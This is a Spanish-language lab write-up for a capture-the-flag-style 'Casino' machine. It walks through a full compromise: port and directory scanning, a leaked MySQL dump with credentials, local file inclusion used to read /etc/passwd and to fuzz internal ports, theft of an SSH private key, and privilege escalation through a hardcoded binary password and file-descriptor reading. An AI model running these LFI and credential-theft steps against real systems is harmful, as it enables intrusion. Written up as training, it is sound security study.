Informe de Laboratorio - Casino Lab

Resumen Ejecutivo

Análisis de seguridad de una máquina "Casino" que incluyó enumeración de servicios, descubrimiento de vulnerabilidades LFI, explotación de servicios internos y escalada de privilegios.

Índice

Metodología Detallada

Reconocimiento Inicial

Comandos ejecutados:

bash

Escaneo de directorios web

gobuster dir -u http://192.168.1.44 -w /usr/share/wordlists/dirb/common.txt -k -t 50

Escaneo de puertos

nmap -p- 192.168.1.44

Resultados:

- Servicios encontrados:
    - **Puerto 22/tcp**: SSH (OpenSSH 9.2p1)
    - **Puerto 80/tcp**: HTTP (Apache 2.4.57)
- Directorios web descubiertos:

- /imgs, /index.php, /js, /robots.txt, /server-status, /styles

Enumeración de Servicios

Análisis de vulnerabilidades:

bash

Escaneo de vulnerabilidades

nmap --script vuln 192.168.1.44

Auditoría web automatizada

ffuf + Nuclei Scanner

Hallazgos:

- Exposición de dump de MySQL en /database.sql
- Vulnerabilidad Terrapin en SSH (CVE-2023-48795)

Descubrimiento de Vulnerabilidades

Estructura de base de datos expuesta:

sql

CREATE USER 'casino_admin'@'localhost' IDENTIFIED BY 'IJustWantToBeRichBaby420';

CREATE DATABASE casino;

CREATE TABLE users (id INT, user VARCHAR(50), pass VARCHAR(255), money INT);

Validación de servicios:

- MySQL en puerto 3306: **Cerrado**
- Intento de conexión directa fallido

Explotación LFI

Vulnerabilidad descubierta:

bash

Parámetro vulnerable

http://192.168.1.44/casino/explainmepls.php?learnabout=

Técnicas de bypass probadas

curl "http://192.168.1.44/casino/explainmepls.php?learnabout=../../../../etc/passwd"

Autenticación requerida:

- Sesión PHP necesaria para explotación
- Cookie: PHPSESSID=8ptpfm6oi7p6jsibmgr32jqk0n

Descubrimiento de Servicio Interno

Escaneo de puertos internos:

bash

Fuzzing de puertos via LFI

ffuf -ic -c -u "http://192.168.1.44/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ" \

-H "Cookie: PHPSESSID=n52va84ru1tvdss3kqrefmmhq6" \

-w portlist.txt \

-fs 1129

Servicios internos descubiertos:

- Puerto 80: Servicio web principal
- Puerto 6969: **Nuevo servicio interno**

Obtención de Credenciales

Exploración del servicio interno:

bash

Descubrimiento de endpoints

curl "http://192.168.1.44/casino/explainmepls.php?learnabout=localhost:6969/codebreakers"

Recursos encontrados:

- Endpoint: /codebreakers/shimmer_rsa
- Clave SSH privada obtenida

Acceso SSH:

bash

chmod 600 shimmer_rsa

ssh shimmer@192.168.1.44 -i shimmer_rsa

Flag de usuario:

bash

shimmer@casino:~$ cat user.txt

casinousergobrrr

Escalada de Privilegios

Análisis de binario privilegiado:

bash

Binario descubierto: `pass`

file pass # ELF 64-bit executable

strings pass | grep -i "pass\|secret"

Reverse engineering:

- Función checkPasswd identificada
- Contraseña hardcodeada descubierta: ihopethisisastrongpassword

Explotación:

bash

echo "ihopethisisastrongpassword" | ./pass

Output: Correct pass

Técnica avanzada - File Descriptor:

bash

cd /proc/self/fd

cat <&3

Credencial obtenida: masteradmin420

Acceso root y flag final:

bash

root@casino:~# cat r0ot.txt

symboliclove4u

Hallazgos de Seguridad

Críticos

1. **Local File Inclusion (LFI)** en parámetro learnabout
2. **Exposición de información sensible** (database.sql)
3. **Servicios internos expuestos** via LFI
4. **Claves SSH hardcodeadas** en servicio interno

Medios

1. **Vulnerabilidad Terrapin** en servicio SSH
2. **Binario con contraseña hardcodeada**
3. **File descriptors expuestos**

Recomendaciones

1. Validar y sanitizar entradas de usuario
2. Implementar proper network segmentation
3. Eliminar credenciales hardcodeadas
4. Actualizar servicios vulnerables
5. Implementar principio de mínimo privilegio

Conclusión

El laboratorio demostró una cadena completa de explotación desde enumeración inicial hasta compromiso completo del sistema, destacando la importancia de la defensa en profundidad y la sanitización adecuada de entradas de usuario.

Este documento forma parte del portafolio de seguridad ofensiva. Contiene información técnica para fines educativos y de investigación en seguridad.